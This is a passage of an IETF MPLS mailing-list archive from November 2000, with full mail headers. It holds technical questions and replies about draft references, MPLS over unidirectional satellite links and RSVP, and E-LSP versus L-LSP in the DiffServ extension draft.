QQjrkv20965 for ; Wed, 29 Nov 2000 17:20:59 GMT Received: from kcmgwp02.corp.sprint.com (kcmgwp02 [10.185.6.93]) by damgwp01.corp.sprint.com (Switch-2.0.2/Switch-2.0.2) with ESMTP id eATHQNd14421; Wed, 29 Nov 2000 11:26:23 -0600 (CST) Received: from kcopmp02.corp.sprint.com (kcopmp02m.corp.sprint.com [10.74.2.73]) by kcmgwp02.corp.sprint.com (Switch-2.0.2/Switch-2.0.2) with ESMTP id eATHKuO07207; Wed, 29 Nov 2000 11:20:56 -0600 (CST) Received: from localhost (root@localhost) by kcopmp02.corp.sprint.com (8.8.6 (PHNE_17190)/8.8.6) with ESMTP id LAA16573; Wed, 29 Nov 2000 11:20:55 -0600 (CST) X-OpenMail-Hops: 1 Date: Wed, 29 Nov 2000 11:20:55 -0600 Message-Id: Subject: draft-ietf-mpls-lsp-hierarchy-00 MIME-Version: 1.0 TO: yakov@cisco.com CC: mpls@UU.NET Content-Type: multipart/mixed; boundary="openmail-part-16709171-00000001" Sender: owner-mpls@UU.NET Precedence: bulk --openmail-part-16709171-00000001 Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline ;Creation-Date="Wed, 29 Nov 2000 11:20:55 -0600" X-MIME-Autoconverted: from 8bit to quoted-printable by cmr1.ash.ops.us.uu.net id QQjrkv24329 Content-Transfer-Encoding: quoted-printable Yakov, All, =A0 Does any body have a reference to "draft-ietf-mpls-lsp-hierarchy-00" I searched the IETF and didn't find it. =A0 Thanks. ------------------------------------------------------------------------ -=20 Wesam Alanqar=20 Member of Technical Staff=20 Technology Concepts, Innovations and Evaluation (TCIE)=20 Technology Planning & Integration- Sprint TP&I=20 9300 Metcalf Avenue=20 Overland Park, KS 66212-1463=20 Phone: 913-534-5623=20 Fax: 913-534-3485=20 ------------------------------------------------------------------------ -=20 =A0 --openmail-part-16709171-00000001-- From owner-mpls@UU.NET Wed Nov 29 15:21:17 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA19377 for ; Wed, 29 Nov 2000 15:21:17 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrlh03144; Wed, 29 Nov 2000 20:18:24 GMT Received: by mail-control.mail.uu.net id QQjrlh24816 for mpls-outgoing; Wed, 29 Nov 2000 20:17:48 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrlh24804 for ; Wed, 29 Nov 2000 20:17:41 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrlg14819 for ; Wed, 29 Nov 2000 20:14:57 GMT Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjrlg28176 for ; Wed, 29 Nov 2000 20:14:57 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id MAA17260 for ; Wed, 29 Nov 2000 12:14:56 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id PAA17890 for mpls@uu.net; Wed, 29 Nov 2000 15:14:55 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrlg23855 for ; Wed, 29 Nov 2000 20:12:39 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrlg22368 for ; Wed, 29 Nov 2000 20:09:04 GMT Received: from stephens.ittc.ukans.edu by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: stephens.ittc.ukans.edu [129.237.125.220]) id QQjrlg09815 for ; Wed, 29 Nov 2000 20:09:03 GMT Received: from bunsen.ittc.ukans.edu (bunsen.ittc.ukans.edu [129.237.126.78]) by stephens.ittc.ukans.edu (8.9.3/8.9.3/ITTC-NOSPAM-1.0) with ESMTP id OAA13620 for ; Wed, 29 Nov 2000 14:08:37 -0600 (CST) Received: from localhost by bunsen.ittc.ukans.edu (8.9.3/KU-4.0-client) id OAA03801; Wed, 29 Nov 2000 14:08:37 -0600 Date: Wed, 29 Nov 2000 14:08:37 -0600 (CST) From: Rameshbabu Prabagaran To: mpls@UU.NET Subject: Re: draft-ietf-mpls-lsp-hierarchy-00 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk > Does any body have a reference to "draft-ietf-mpls-lsp-hierarchy-00" I > searched the IETF and didn't find it. I think there's a 01 version. Check out http://www.ietf.org/internet-drafts/draft-ietf-mpls-lsp-hierarchy-01.txt regards, Ramesh. From owner-mpls@UU.NET Wed Nov 29 16:01:12 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA02323 for ; Wed, 29 Nov 2000 16:01:12 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrlj29364; Wed, 29 Nov 2000 20:58:44 GMT Received: by mail-control.mail.uu.net id QQjrlj28504 for mpls-outgoing; Wed, 29 Nov 2000 20:58:08 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrlj28491 for ; Wed, 29 Nov 2000 20:58:01 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrlj12239 for ; Wed, 29 Nov 2000 20:47:52 GMT Received: from wcgtule107.wcg.williams.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: securit-v1.twc.com [151.142.252.11]) id QQjrlj14273 for ; Wed, 29 Nov 2000 20:47:52 GMT Received: by wcgtule107.wcg.williams.com with Internet Mail Service (5.5.2650.21) id ; Wed, 29 Nov 2000 14:46:57 -0600 Message-ID: <3F32ABD0F070D311A90800805FEAD30309F3172B@wcgtule102.wcg.williams.com> From: "Upadhyay, Anurag" To: mpls@UU.NET Subject: O-UPSR Standard. Date: Wed, 29 Nov 2000 14:47:52 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Does anybody know of any work being done on developing Optical-UPSR standards at MPLS, ITU-T etc. I will appreciate any input. Thanks Anurag Upadhyay From owner-mpls@UU.NET Wed Nov 29 17:15:00 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA01628 for ; Wed, 29 Nov 2000 17:15:00 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrlo26654; Wed, 29 Nov 2000 22:12:41 GMT Received: by mail-control.mail.uu.net id QQjrlo29050 for mpls-outgoing; Wed, 29 Nov 2000 22:12:19 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrlo29041 for ; Wed, 29 Nov 2000 22:12:14 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrli29434 for ; Wed, 29 Nov 2000 20:42:43 GMT Received: from mail-blue.research.att.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-blue.research.att.com [135.207.30.102]) id QQjrli20279 for ; Wed, 29 Nov 2000 20:42:43 GMT Received: from surfcity.research.att.com (surfcity.research.att.com [135.207.135.5]) by mail-blue.research.att.com (Postfix) with ESMTP id EDB924CE0A; Wed, 29 Nov 2000 15:42:42 -0500 (EST) Received: from pcalchiu ([135.207.132.138]) by surfcity.research.att.com (8.8.7/8.8.7) with SMTP id PAA29599; Wed, 29 Nov 2000 15:42:41 -0500 (EST) Reply-To: From: "Angela Chiu" To: , Subject: revised ID "Unique Features and Requirements for The Optical Layer Control Plane" Date: Wed, 29 Nov 2000 15:44:06 -0500 Message-ID: <002a01c05a45$1e756ff0$8a84cf87@research.att.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Importance: Normal Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hello, Our revised draft "Unique Features and Requirements for The Optical Layer Control Plane" is out on http://www.ietf.org/internet-drafts/draft-chiu-strand-unique-olcp-01.txt. Some major changes/additions include: - treatment on nonlinear impairments in transparent networks - discussions on routing and control plane architecture A time slot has been allocated to us to present our work at the IPO group meeting at San Diego. Comments and suggestions will be greatly appreciated prior and during the meeting. Best regards, Angela Chiu John Strand Bob Tkach From owner-mpls@UU.NET Wed Nov 29 17:25:17 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA04909 for ; Wed, 29 Nov 2000 17:25:17 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrlp20095; Wed, 29 Nov 2000 22:22:42 GMT Received: by mail-control.mail.uu.net id QQjrlp00629 for mpls-outgoing; Wed, 29 Nov 2000 22:22:09 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrlp00594 for ; Wed, 29 Nov 2000 22:21:54 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrlo08118 for ; Wed, 29 Nov 2000 22:12:38 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrlo26536 for ; Wed, 29 Nov 2000 22:12:37 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id RAA17569 for mpls@uu.net; Wed, 29 Nov 2000 17:12:36 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrlo29016 for ; Wed, 29 Nov 2000 22:11:54 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrli01304 for ; Wed, 29 Nov 2000 20:43:27 GMT Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: funnel.cisco.com [161.44.131.24]) id QQjrli28749 for ; Wed, 29 Nov 2000 20:43:27 GMT Received: from lir.cisco.com (lir-hme1.cisco.com [171.69.209.57]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id PAA18506; Wed, 29 Nov 2000 15:43:25 -0500 (EST) Received: from localhost (swallow@localhost) by lir.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) with ESMTP id PAA19097; Wed, 29 Nov 2000 15:43:25 -0500 (EST) Message-Id: <200011292043.PAA19097@lir.cisco.com> X-Authentication-Warning: lir.cisco.com: swallow owned process doing -bs To: wesam.alanqar@mail.sprint.com cc: mpls@UU.NET, swallow@cisco.com Subject: Re: Agenda in the IETF In-reply-to: Your message of "Tue, 28 Nov 2000 14:13:38 CST." Date: Wed, 29 Nov 2000 15:43:25 -0500 From: George Swallow Sender: owner-mpls@UU.NET Precedence: bulk Good question - The IESG is revising charters. It's not clear at the moment which work group these will be in. ...George ================================================================== George Swallow Cisco Systems (978) 244-8143 250 Apollo Drive Chelmsford, Ma 01824 From owner-mpls@UU.NET Thu Nov 30 01:08:38 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA17869 for ; Thu, 30 Nov 2000 01:08:38 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrmu22697; Thu, 30 Nov 2000 06:06:17 GMT Received: by mail-control.mail.uu.net id QQjrmu06849 for mpls-outgoing; Thu, 30 Nov 2000 06:05:47 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrmu06837 for ; Thu, 30 Nov 2000 06:05:38 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrmu03983 for ; Thu, 30 Nov 2000 06:01:33 GMT Received: from mail.xandl.cso.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail.xandl.cso.net [194.106.242.34]) id QQjrmu16883 for ; Thu, 30 Nov 2000 06:01:32 GMT Received: from xandl ([194.106.242.41]) by mail.xandl.cso.net (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with SMTP id net; Thu, 30 Nov 2000 07:09:16 +0100 Reply-To: From: "Alexander Marhold" To: "eduard metz" , Cc: Subject: RE: MPLS for UDLR Date: Thu, 30 Nov 2000 07:00:28 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Importance: Normal In-Reply-To: <20001129101551.12511.qmail@nwcst279.netaddress.usa.net> Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit As I have seen no other answers my assumption on that LSP is unidirectional, but RSVP is not, RSVP tries to send the PATH message using the ERO ( Path information ) in the reverse direction. This fails on an UDLR. For me it seems that RSVP would need additional information (maybe even an extension)to successfully take care of that problem. IMHO this is a general RSVP problem and thus maybe an issue for the corresponding IETF WG's dealing with RSVP. But maybe someone more knowledgeable can shed some light on that regards Alexander > -----Original Message----- > From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of eduard > metz > Sent: Wednesday, November 29, 2000 12:16 PM > To: rschell@megapathdsl.net > Cc: mpls@UU.NET > Subject: RE: MPLS for UDLR > > > > Hi Robert, > > interesting issue, since MPLS LSP are basically uni-directional I > think this > should work (although I'm not really in to UDLR ...). > > You may want to redirect your question to cisco-nsp@puck.nether.net, as it > concerns some implementation specific issues. You probably will get better > feedback on that list ... > > cheers, Eduard > > ----------------------- > > I am looking for ways to implement certain traffic engineering and QoS > features over satellite links using MPLS. > > Does any router support Unidirectional Link Routing (UDLR) using > MPLS as the > tunneling encapsulation? I have tried this with Cisco 7200 and 7500 series > boxes (with latest T-train IOS) without success. It seems that > UDLR is able > to use only GRE tunnels. In my view, MPLS would be ideally suited to this > purpose because it is lightweight (only 4 bytes) and satellite bandwidth > tends to be scarce. > > In general, I have had trouble getting MPLS TE tunnels to work when the > physical interfaces for send and receive are different. This may > be more of > a problem with OSPF than with the tunnel mechansim itself. Any thoughts? > > > ____________________________________________________________________ > Get free email and a permanent address at http://www.netaddress.com/?N=1 > From owner-mpls@UU.NET Thu Nov 30 01:43:35 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA07855 for ; Thu, 30 Nov 2000 01:43:30 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrmw07542; Thu, 30 Nov 2000 06:41:21 GMT Received: by mail-control.mail.uu.net id QQjrmw09179 for mpls-outgoing; Thu, 30 Nov 2000 06:40:59 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrmw09174 for ; Thu, 30 Nov 2000 06:40:53 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrmv10534 for ; Thu, 30 Nov 2000 06:28:34 GMT Received: from malmo.trab.se by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: malmo.trab.se [131.115.48.10]) id QQjrmv17717 for ; Thu, 30 Nov 2000 06:28:33 GMT Received: from trab-hermes.haninge.trab.se (trab-hermes.haninge.trab.se [131.115.158.15]) by malmo.trab.se (8.10.1/TRAB-primary-2) with ESMTP id eAU6SP029388; Thu, 30 Nov 2000 07:28:26 +0100 (MET) Received: by trab-hermes.haninge.trab.se with Internet Mail Service (5.5.2448.0) id ; Thu, 30 Nov 2000 07:28:25 +0100 Message-ID: <778DFE9B4E3BD111A74E08002BA3DC0D022542D9@trab-hermes.haninge.trab.se> From: Nhat Thanh Hoang To: "'Alexander.Marhold@xandl.cso.net'" , eduard metz , rschell@megapathdsl.net Cc: mpls@UU.NET Subject: RE: MPLS for UDLR Date: Thu, 30 Nov 2000 07:28:18 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Hi, Alexander As I know RSVP for traffic engineering that uses in MPLS context is unidirectinal, which means you need to configure at least two constraint-based LSPs (ingress--->egress and ingress<---egress), if you want a bidirectional path. /Nhat Thanh Telia Research AB -----Original Message----- From: Alexander Marhold [mailto:Alexander.Marhold@proin.com] Sent: den 30 november 2000 07:00 To: eduard metz; rschell@megapathdsl.net Cc: mpls@UU.NET Subject: RE: MPLS for UDLR As I have seen no other answers my assumption on that LSP is unidirectional, but RSVP is not, RSVP tries to send the PATH message using the ERO ( Path information ) in the reverse direction. This fails on an UDLR. For me it seems that RSVP would need additional information (maybe even an extension)to successfully take care of that problem. IMHO this is a general RSVP problem and thus maybe an issue for the corresponding IETF WG's dealing with RSVP. But maybe someone more knowledgeable can shed some light on that regards Alexander > -----Original Message----- > From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of eduard > metz > Sent: Wednesday, November 29, 2000 12:16 PM > To: rschell@megapathdsl.net > Cc: mpls@UU.NET > Subject: RE: MPLS for UDLR > > > > Hi Robert, > > interesting issue, since MPLS LSP are basically uni-directional I > think this > should work (although I'm not really in to UDLR ...). > > You may want to redirect your question to cisco-nsp@puck.nether.net, as it > concerns some implementation specific issues. You probably will get better > feedback on that list ... > > cheers, Eduard > > ----------------------- > > I am looking for ways to implement certain traffic engineering and QoS > features over satellite links using MPLS. > > Does any router support Unidirectional Link Routing (UDLR) using > MPLS as the > tunneling encapsulation? I have tried this with Cisco 7200 and 7500 series > boxes (with latest T-train IOS) without success. It seems that > UDLR is able > to use only GRE tunnels. In my view, MPLS would be ideally suited to this > purpose because it is lightweight (only 4 bytes) and satellite bandwidth > tends to be scarce. > > In general, I have had trouble getting MPLS TE tunnels to work when the > physical interfaces for send and receive are different. This may > be more of > a problem with OSPF than with the tunnel mechansim itself. Any thoughts? > > > ____________________________________________________________________ > Get free email and a permanent address at http://www.netaddress.com/?N=1 > From owner-mpls@UU.NET Thu Nov 30 02:44:23 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA19718 for ; Thu, 30 Nov 2000 02:44:23 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrna19565; Thu, 30 Nov 2000 07:41:35 GMT Received: by mail-control.mail.uu.net id QQjrna24403 for mpls-outgoing; Thu, 30 Nov 2000 07:41:00 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrna24381 for ; Thu, 30 Nov 2000 07:40:52 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrna04957 for ; Thu, 30 Nov 2000 07:39:06 GMT Received: from relay2.alcatel.be by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: alc239.alcatel.be [195.207.101.239]) id QQjrna20219 for ; Thu, 30 Nov 2000 07:39:05 GMT Received: from bemail04.net.alcatel.be (localhost [127.0.0.1]) by relay2.alcatel.be (8.10.1/8.10.1) with SMTP id eAU7aLc23231; Thu, 30 Nov 2000 08:36:21 +0100 (MET) Received: from alcatel.be ([138.203.195.108]) by bemail04.net.alcatel.be (Lotus SMTP MTA v4.6.7 (934.1 12-30-1999)) with SMTP id C12569A7.002A0357; Thu, 30 Nov 2000 08:38:53 +0100 Message-ID: <3A260412.C1DA2F66@alcatel.be> Date: Thu, 30 Nov 2000 08:38:58 +0100 From: Francis Arts Organization: Alcatel Telecom X-Mailer: Mozilla 4.7 [en] (X11; I; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: mpls@UU.NET Subject: draft-ietf-mpls-diff-ext-07.txt Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hello, The draft-ietf-mpls-diff-ext-07.txt defines 2 types of LSPs - E-LSPs and L-LSPs. For the DIFF SERV object defined in this draft, also 2 variants are defined -1 for E-LSPs and 1 for L-LSPs. I have the following question: Why have L-LSPs been defined (instead of defining just 1 type - E-LSPs)? According to my understanding all the capabilities of an L-LSP can be obtained by using an E-LSP with the proper PHB set. Example: Assume that we want to establish an L-LSP for AF1 traffic. We could achieve the same effect (an MPLS tunnel for Af1 traffic) by using an E-LSP with 3 exp <--> PHB mappings: ** exp_af11 <--> AF11 ** exp_af12 <--> AF12 ** exp_af13 <--> AF13 Thanks for your answer. Kind regards, Francis. From owner-mpls@UU.NET Thu Nov 30 03:27:07 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA07687 for ; Thu, 30 Nov 2000 03:27:07 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrnd16415; Thu, 30 Nov 2000 08:24:30 GMT Received: by mail-control.mail.uu.net id QQjrnd08913 for mpls-outgoing; Thu, 30 Nov 2000 08:24:00 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrnd08901 for ; Thu, 30 Nov 2000 08:23:53 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrnd20397 for ; Thu, 30 Nov 2000 08:23:47 GMT Received: from radmail.rad.co.il by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: radmail.rad.co.il [207.232.32.10]) id QQjrnd15319 for ; Thu, 30 Nov 2000 08:23:40 GMT Received: from vine ([192.168.254.41]) by radmail.rad.co.il (Post.Office MTA v3.5.3 release 223 ID# 0-69802U1300L1200S0V35) with SMTP id il; Thu, 30 Nov 2000 09:25:51 +0200 From: "Sasha Vainshtein" To: "Francis Arts" , Subject: RE: draft-ietf-mpls-diff-ext-07.txt Date: Thu, 30 Nov 2000 10:25:06 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal In-Reply-To: <3A260412.C1DA2F66@alcatel.be> Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Francis, Regarding your example: To the best of my understanding AF11, AF12 and AF13 are three DSCPs belonging to the same PHB (AF1), expressing 3 different levels of drop precedence. So you have actually given an excellnet example of an L-LSP (with the scheduling behavior inferred from the label and drop precedence - from the EXP bits). A real example of an E-LSP would be an LSP carrying, say AF-1 and AF-2. Such a sharing carries with it some difficult questions, i.e.how to split the aggregate bandwidth allocated to an E-LSP between two (or more) PHBs with individual bandwidth reservations etc. ______________________________________________ With best regards, Sasha Vainshtein mailto: sasha@iprad.co.il phone: +972-3-7659993 (office) fax: +972-3-6487779 (office) >>-----Original Message----- >>From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of >>Francis Arts >>Sent: Thursday, November 30, 2000 9:39 AM >>To: mpls@UU.NET >>Subject: draft-ietf-mpls-diff-ext-07.txt >> >> >> >>Hello, >> >>The draft-ietf-mpls-diff-ext-07.txt defines 2 types of LSPs - E-LSPs and >>L-LSPs. For the DIFF SERV object defined in this draft, also 2 variants >>are defined -1 for E-LSPs and 1 for L-LSPs. >> >>I have the following question: Why have L-LSPs been defined (instead of >>defining just 1 type - E-LSPs)? According to my understanding all the >>capabilities of an L-LSP can be obtained by using an E-LSP with the >>proper PHB set. >> >>Example: Assume that we want to establish an L-LSP for AF1 traffic. We >>could achieve the same effect (an MPLS tunnel for Af1 traffic) by using >>an E-LSP with 3 exp <--> PHB mappings: >>** exp_af11 <--> AF11 >>** exp_af12 <--> AF12 >>** exp_af13 <--> AF13 >> >> >>Thanks for your answer. >> >>Kind regards, >> >> Francis. >> >> From owner-mpls@UU.NET Thu Nov 30 06:02:41 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA01252 for ; Thu, 30 Nov 2000 06:02:41 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrno02117; Thu, 30 Nov 2000 11:00:17 GMT Received: by mail-control.mail.uu.net id QQjrno11581 for mpls-outgoing; Thu, 30 Nov 2000 11:00:01 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrnn11517 for ; Thu, 30 Nov 2000 10:59:49 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrnn28667 for ; Thu, 30 Nov 2000 10:58:30 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrnn29632 for ; Thu, 30 Nov 2000 10:58:30 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id FAA03288 for mpls@uu.net; Thu, 30 Nov 2000 05:58:29 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrnn11490 for ; Thu, 30 Nov 2000 10:58:23 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrnn24308 for ; Thu, 30 Nov 2000 10:57:06 GMT Received: from ietf.org by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: odin.ietf.org [132.151.1.176]) id QQjrnn01718 for ; Thu, 30 Nov 2000 10:57:06 GMT Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA27916; Thu, 30 Nov 2000 05:57:04 -0500 (EST) Message-Id: <200011301057.FAA27916@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce:; Cc: mpls@UU.NET From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-mpls-recovery-frmwrk-01.txt Date: Thu, 30 Nov 2000 05:57:03 -0500 Sender: owner-mpls@UU.NET Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Multiprotocol Label 